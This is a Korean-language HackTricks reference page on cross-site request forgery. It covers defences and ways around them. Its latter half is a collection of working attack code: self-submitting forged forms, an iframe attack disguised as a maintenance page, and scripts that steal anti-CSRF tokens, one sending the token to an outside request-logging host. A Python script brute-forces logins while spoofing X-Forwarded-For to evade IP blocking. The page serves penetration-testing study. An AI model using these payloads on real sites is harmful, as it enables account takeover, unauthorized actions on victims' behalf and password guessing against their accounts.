CSRF (Cross Site Request Forgery)

Support HackTricks

Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!

Hacking Insights Engage with content that delves into the thrill and challenges of hacking

Real-Time Hack News Keep up-to-date with fast-paced hacking world through real-time news and insights

Latest Announcements Stay informed with the newest bug bounties launching and crucial platform updates

Join us on Discord and start collaborating with top hackers today!

크로스 사이트 요청 위조 (CSRF) 설명

**크로스 사이트 요청 위조 (CSRF)**는 웹 애플리케이션에서 발견되는 보안 취약점의 일종입니다. 이는 공격자가 인증된 세션을 이용하여 무심코 사용자를 대신해 행동을 수행할 수 있게 합니다. 공격은 피해자의 플랫폼에 로그인한 사용자가 악성 사이트를 방문할 때 실행됩니다. 이 사이트는 JavaScript 실행, 양식 제출 또는 이미지 가져오기와 같은 방법을 통해 피해자의 계정에 요청을 트리거합니다.

CSRF 공격을 위한 전제 조건

CSRF 취약점을 악용하기 위해서는 여러 조건이 충족되어야 합니다:

  1. 가치 있는 행동 식별: 공격자는 사용자의 비밀번호, 이메일 변경 또는 권한 상승과 같은 악용할 가치가 있는 행동을 찾아야 합니다.

  2. 세션 관리: 사용자의 세션은 쿠키 또는 HTTP 기본 인증 헤더를 통해서만 관리되어야 하며, 다른 헤더는 이 목적을 위해 조작할 수 없습니다.

  3. 예측 불가능한 매개변수의 부재: 요청에는 예측 불가능한 매개변수가 포함되어서는 안 되며, 이는 공격을 방해할 수 있습니다.

빠른 점검

Burp에서 요청을 캡처하고 CSRF 보호를 확인할 수 있으며, 브라우저에서 Copy as fetch를 클릭하여 요청을 확인할 수 있습니다:

CSRF 방어

CSRF 공격으로부터 보호하기 위해 여러 가지 대응책을 구현할 수 있습니다:

  • SameSite 쿠키: 이 속성은 브라우저가 크로스 사이트 요청과 함께 쿠키를 전송하는 것을 방지합니다. SameSite 쿠키에 대한 자세한 내용.

  • 교차 출처 리소스 공유: 피해자 사이트의 CORS 정책은 공격의 실행 가능성에 영향을 미칠 수 있으며, 특히 공격이 피해자 사이트의 응답을 읽어야 하는 경우에 그렇습니다. CORS 우회에 대해 알아보기.

  • 사용자 확인: 사용자의 비밀번호를 요청하거나 캡차를 해결하도록 요구하여 사용자의 의도를 확인할 수 있습니다.

  • 참조자 또는 출처 헤더 확인: 이러한 헤더를 검증하면 요청이 신뢰할 수 있는 출처에서 오는지 확인하는 데 도움이 될 수 있습니다. 그러나 URL을 신중하게 작성하면 잘못 구현된 검사를 우회할 수 있습니다, 예를 들어:

  • http://mal.net?orig=http://example.com 사용 (URL이 신뢰할 수 있는 URL로 끝남)

  • http://example.com.mal.net 사용 (URL이 신뢰할 수 있는 URL로 시작함)

  • 매개변수 이름 수정: POST 또는 GET 요청의 매개변수 이름을 변경하면 자동화된 공격을 방지하는 데 도움이 될 수 있습니다.

  • CSRF 토큰: 각 세션에 고유한 CSRF 토큰을 포함하고 이후 요청에서 이 토큰을 요구하면 CSRF의 위험을 크게 줄일 수 있습니다. 토큰의 효과는 CORS를 강제함으로써 향상될 수 있습니다.

이러한 방어를 이해하고 구현하는 것은 웹 애플리케이션의 보안과 무결성을 유지하는 데 중요합니다.

방어 우회

POST에서 GET으로

악용하고자 하는 양식이 CSRF 토큰과 함께 POST 요청을 보내도록 준비되어 있을 수 있지만, GET 요청도 유효한지 확인하고 GET 요청을 보낼 때 CSRF 토큰이 여전히 검증되는지 확인해야 합니다.

토큰 부족

애플리케이션은 토큰이 존재할 때 이를 검증하는 메커니즘을 구현할 수 있습니다. 그러나 토큰이 없을 때 검증이 완전히 생략되면 취약점이 발생합니다. 공격자는 토큰을 담고 있는 매개변수를 제거하여 이를 악용할 수 있습니다. 이렇게 하면 검증 프로세스를 우회하고 효과적으로 크로스 사이트 요청 위조 (CSRF) 공격을 수행할 수 있습니다.

CSRF 토큰이 사용자 세션에 연결되지 않음

CSRF 토큰이 사용자 세션에 연결되지 않는 애플리케이션은 상당한 보안 위험을 초래합니다. 이러한 시스템은 각 토큰이 시작 세션에 바인딩되는 것을 보장하는 대신 전역 풀에 대해 토큰을 검증합니다.

공격자가 이를 악용하는 방법은 다음과 같습니다:

  1. 자신의 계정으로 인증합니다.

  2. 전역 풀에서 유효한 CSRF 토큰을 얻습니다.

  3. 이 토큰을 사용하여 피해자에 대한 CSRF 공격을 수행합니다.

이 취약점은 공격자가 피해자를 대신하여 무단 요청을 수행할 수 있게 하여 애플리케이션의 부적절한 토큰 검증 메커니즘을 악용합니다.

메서드 우회

요청이 "이상한" 메서드를 사용하고 있다면, 메서드 오버라이드 기능이 작동하는지 확인하십시오. 예를 들어, PUT 메서드를 사용하고 있다면 POST 메서드를 사용하여 보낼 수 있습니다: https://example.com/my/dear/api/val/num?_method=PUT

이것은 POST 요청 내에서 _method 매개변수를 보내거나 헤더를 사용하여도 작동할 수 있습니다:

  • X-HTTP-Method

  • X-HTTP-Method-Override

  • X-Method-Override

사용자 정의 헤더 토큰 우회

요청이 CSRF 보호 방법으로 토큰이 포함된 사용자 정의 헤더를 추가하고 있다면:

  • 사용자 정의 토큰과 헤더 없이 요청을 테스트합니다.

  • 길이는 동일하지만 다른 토큰으로 요청을 테스트합니다.

CSRF 토큰이 쿠키로 검증됨

애플리케이션은 CSRF 보호를 위해 토큰을 쿠키와 요청 매개변수 모두에 복제하거나 CSRF 쿠키를 설정하고 백엔드에서 전송된 토큰이 쿠키와 일치하는지 확인하여 구현할 수 있습니다. 애플리케이션은 요청 매개변수의 토큰이 쿠키의 값과 일치하는지 확인하여 요청을 검증합니다.

그러나 이 방법은 공격자가 피해자의 브라우저에 CSRF 쿠키를 설정할 수 있는 결함이 있는 경우 CSRF 공격에 취약합니다. 공격자는 쿠키를 설정하는 기만적인 이미지를 로드한 다음 CSRF 공격을 시작하여 이를 악용할 수 있습니다.

아래는 공격이 어떻게 구성될 수 있는지에 대한 예입니다:

<html>
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://example.com/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="hidden" name="csrf" value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" onerror="document.forms[0].submit();"/>
</body>
</html>

csrf 토큰이 세션 쿠키와 관련되어 있다면 이 공격은 작동하지 않습니다. 왜냐하면 피해자의 세션을 설정해야 하므로 결국 자신을 공격하게 됩니다.

Content-Type 변경

에 따르면, POST 메서드를 사용하여 사전 비행 요청을 피하기 위해 허용되는 Content-Type 값은 다음과 같습니다:

  • application/x-www-form-urlencoded

  • multipart/form-data

  • text/plain

그러나 사용된 Content-Type에 따라 서버의 로직이 다를 수 있으므로 언급된 값과 application/json,text/xml, application/xml_._와 같은 다른 값도 시도해 보아야 합니다.

예시 ( 여기에서) 텍스트/plain으로 JSON 데이터를 전송하는 방법:

<html>
<body>
<form id="form" method="post" action="https://phpme.be.ax/" enctype="text/plain">
<input name='{"garbageeeee":"' value='", "yep": "yep yep yep", "url": "https://webhook/"}'>
</form>
<script>
form.submit();
</script>
</body>
</html>

Bypassing Preflight Requests for JSON Data

POST 요청을 통해 JSON 데이터를 전송하려고 할 때, HTML 양식에서 Content-Type: application/json을 직접 사용할 수 없습니다. 마찬가지로, XMLHttpRequest를 사용하여 이 콘텐츠 유형을 전송하면 사전 비행 요청이 시작됩니다. 그럼에도 불구하고, 이 제한을 우회하고 서버가 Content-Type에 관계없이 JSON 데이터를 처리하는지 확인할 수 있는 전략이 있습니다:

  1. 대체 콘텐츠 유형 사용: 양식에서 enctype="text/plain"을 설정하여 Content-Type: text/plain 또는 Content-Type: application/x-www-form-urlencoded를 사용합니다. 이 접근 방식은 백엔드가 Content-Type에 관계없이 데이터를 사용하는지 테스트합니다.

  2. 콘텐츠 유형 수정: 서버가 콘텐츠를 JSON으로 인식하도록 하면서 사전 비행 요청을 피하려면, Content-Type: text/plain; application/json으로 데이터를 전송할 수 있습니다. 이는 사전 비행 요청을 트리거하지 않지만, 서버가 application/json을 수용하도록 구성되어 있다면 올바르게 처리될 수 있습니다.

  3. SWF 플래시 파일 활용: 덜 일반적이지만 실행 가능한 방법은 SWF 플래시 파일을 사용하여 이러한 제한을 우회하는 것입니다. 이 기술에 대한 심층적인 이해를 원하시면 이 게시물을 참조하십시오.

Referrer / Origin check bypass

Referrer 헤더 피하기

응용 프로그램은 'Referer' 헤더가 있을 때만 이를 검증할 수 있습니다. 브라우저가 이 헤더를 전송하지 않도록 하려면 다음 HTML 메타 태그를 사용할 수 있습니다:

<meta name="referrer" content="never">

이것은 'Referer' 헤더가 생략되도록 하여 일부 애플리케이션에서 유효성 검사 체크를 우회할 수 있습니다.

정규 표현식 우회

URL Format Bypass

Referrer가 매개변수 내에서 보낼 URL의 서버 도메인 이름을 설정하려면 다음과 같이 할 수 있습니다:

<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head><meta name="referrer" content="unsafe-url"></head>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState("", "", "?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net")
document.forms[0].submit();
</script>
</body>
</html>

이 CTF 작성글의 첫 번째 부분에서는 Oak의 소스 코드HEAD 요청을 응답 본문이 없는 GET 요청으로 처리하도록 설정되어 있다고 설명합니다. 이는 Oak에만 국한되지 않는 일반적인 우회 방법입니다. HEAD 요청을 처리하는 특정 핸들러 대신, GET 핸들러에 전달되지만 앱은 응답 본문을 제거합니다.

따라서 GET 요청이 제한되고 있다면, GET 요청으로 처리될 HEAD 요청을 보낼 수 있습니다.

익스플로잇 예시

CSRF 토큰 유출

CSRF 토큰방어 수단으로 사용되고 있다면, XSS 취약점이나 Dangling Markup 취약점을 악용하여 유출을 시도할 수 있습니다.

HTML 태그를 사용한 GET

<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available

다른 HTML5 태그로 자동으로 GET 요청을 보낼 수 있는 것은:

<iframe src="..."></iframe>
<script src="..."></script>
<img src="..." alt="">
<embed src="...">
<audio src="...">
<video src="...">
<source src="..." type="...">
<video poster="...">
<link rel="stylesheet" href="...">
<object data="...">
<body background="...">
<div style="background: url('...');"></div>
<style>
body { background: url('...'); }
</style>
<bgsound src="...">
<track src="..." kind="subtitles">
<input type="image" src="..." alt="Submit Button">

폼 GET 요청

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

폼 POST 요청

<html>
<body>
<script>history.pushState('', '', '/')</script>
<form method="POST" action="https://victim.net/email/change-email" id="csrfform">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" /> <!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src=x onerror="csrfform.submit();" /> <!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit(); //Way 3 to autosubmit
</script>
</body>
</html>

iframe을 통한 Form POST 요청

<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

Ajax POST 요청

<script>
var xh;
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xh=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xh=new ActiveXObject("Microsoft.XMLHTTP");
}
xh.withCredentials = true;
xh.open("POST","http://challenge01.root-me.org/web-client/ch22/?action=profile");
xh.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on");
</script>

<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value&param2=value2"
})
</script>

multipart/form-data POST 요청

myFormData = new FormData();
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text"});
myFormData.append("newAttachment", blob, "pwned.php");
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: {"Content-Type": "application/x-www-form-urlencoded"},
mode: "no-cors"
});

multipart/form-data POST 요청 v2

// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open("POST", url, true);
//  MIME POST request.
xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
xhr.setRequestHeader("Content-Length", fileSize);
var body = "--" + boundary + "\r\n";
body += 'Content-Disposition: form-data; name="' + nameVar +'"; filename="' + fileName + '"\r\n';
body += "Content-Type: " + ctype + "\r\n\r\n";
body += fileData + "\r\n";
body += "--" + boundary + "--";

//xhr.send(body);
xhr.sendAsBinary(body);

iframe 내에서의 Form POST 요청

<--! expl.html -->

<body onload="envia()">
<form method="POST"id="formulario" action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva">
</form>
<body>
<script>
function envia(){document.getElementById("formulario").submit();}
</script>

<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000">
</iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>

CSRF 토큰 훔치기 및 POST 요청 보내기

function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest();
xhr.open("POST", POST_URL, true);
xhr.withCredentials = true;

// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

// This is for debugging and can be removed
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}

xhr.send("token=" + token + "&otherparama=heyyyy");
}

function getTokenJS() {
var xhr = new XMLHttpRequest();
// This tels it to return it as a HTML document
xhr.responseType = "document";
xhr.withCredentials = true;
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true);
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token");
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value);
}
};
// Make the request
xhr.send(null);
}

var GET_URL="http://google.com?param=VALUE"
var POST_URL="http://google.com?param=VALUE"
getTokenJS();

CSRF 토큰 훔치기 및 iframe, 폼, Ajax를 사용하여 Post 요청 보내기

<form id="form1" action="http://google.com?param=VALUE" method="post" enctype="multipart/form-data">
<input type="text" name="username" value="AA">
<input type="checkbox" name="status" checked="checked">
<input id="token" type="hidden" name="token" value="" />
</form>

<script type="text/javascript">
function f1(){
x1=document.getElementById("i1");
x1d=(x1.contentWindow||x1.contentDocument);
t=x1d.document.getElementById("token").value;

document.getElementById("token").value=t;
document.getElementById("form1").submit();
}
</script>
<iframe id="i1" style="display:none" src="http://google.com?param=VALUE" onload="javascript:f1();"></iframe>

CSRF 토큰 훔치기 및 iframe과 폼을 사용하여 POST 요청 보내기

<iframe id="iframe" src="http://google.com?param=VALUE" width="500" height="500" onload="read()"></iframe>

<script>
function read()
{
var name = 'admin2';
var token = document.getElementById("iframe").contentDocument.forms[0].token.value;
document.writeln('<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php"  enctype="multipart/form-data">');
document.writeln('<input id="username" type="text" name="username" value="' + name + '" /><br />');
document.writeln('<input id="token" type="hidden" name="token" value="' + token + '" />');
document.writeln('<input type="submit" name="submit" value="Submit" /><br/>');
document.writeln('</form>');
document.forms[0].submit.click();
}
</script>

토큰을 훔치고 2개의 iframe을 사용하여 전송하기

<script>
var token;
function readframe1(){
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>

<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>

<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>

POSTAjax를 사용하여 CSRF 토큰을 훔치고 폼으로 POST 전송하기

<body onload="getData()">

<form id="form" action="http://google.com?param=VALUE" method="POST" enctype="multipart/form-data">
<input type="hidden" name="username" value="root"/>
<input type="hidden" name="status" value="on"/>
<input type="hidden" id="findtoken" name="token" value=""/>
<input type="submit" value="valider"/>
</form>

<script>
var x = new XMLHttpRequest();
function getData() {
x.withCredentials = true;
x.open("GET","http://google.com?param=VALUE",true);
x.send(null);
}
x.onreadystatechange = function() {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1];
document.getElementById("findtoken").value = token;
document.getElementById("form").submit();
}
}
</script>

Socket.IO를 이용한 CSRF

<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io('http://six.jh2i.com:50022/test');

const username = 'admin'

socket.on('connect', () => {
console.log('connected!');
socket.emit('join', {
room: username
});
socket.emit('my_room_event', {
data: '!flag',
room: username
})

});
</script>

CSRF 로그인 브루트 포스

코드는 CSRF 토큰을 사용하여 로그인 양식을 브루트 포스하는 데 사용할 수 있습니다 (가능한 IP 블랙리스트를 우회하기 위해 X-Forwarded-For 헤더도 사용하고 있습니다):

import request
import re
import random

URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"

def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie

def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True

with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())

Tools

References

경험이 풍부한 해커 및 버그 바운티 헌터와 소통하기 위해 HackenProof Discord 서버에 참여하세요!

해킹 통찰력 해킹의 스릴과 도전에 대해 깊이 있는 콘텐츠에 참여하세요.

실시간 해킹 뉴스 실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계를 최신 상태로 유지하세요.

최신 발표 새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 유지하세요.

지금 Discord에 참여하고 최고의 해커들과 협업을 시작하세요!

HackTricks 지원하기

Last updated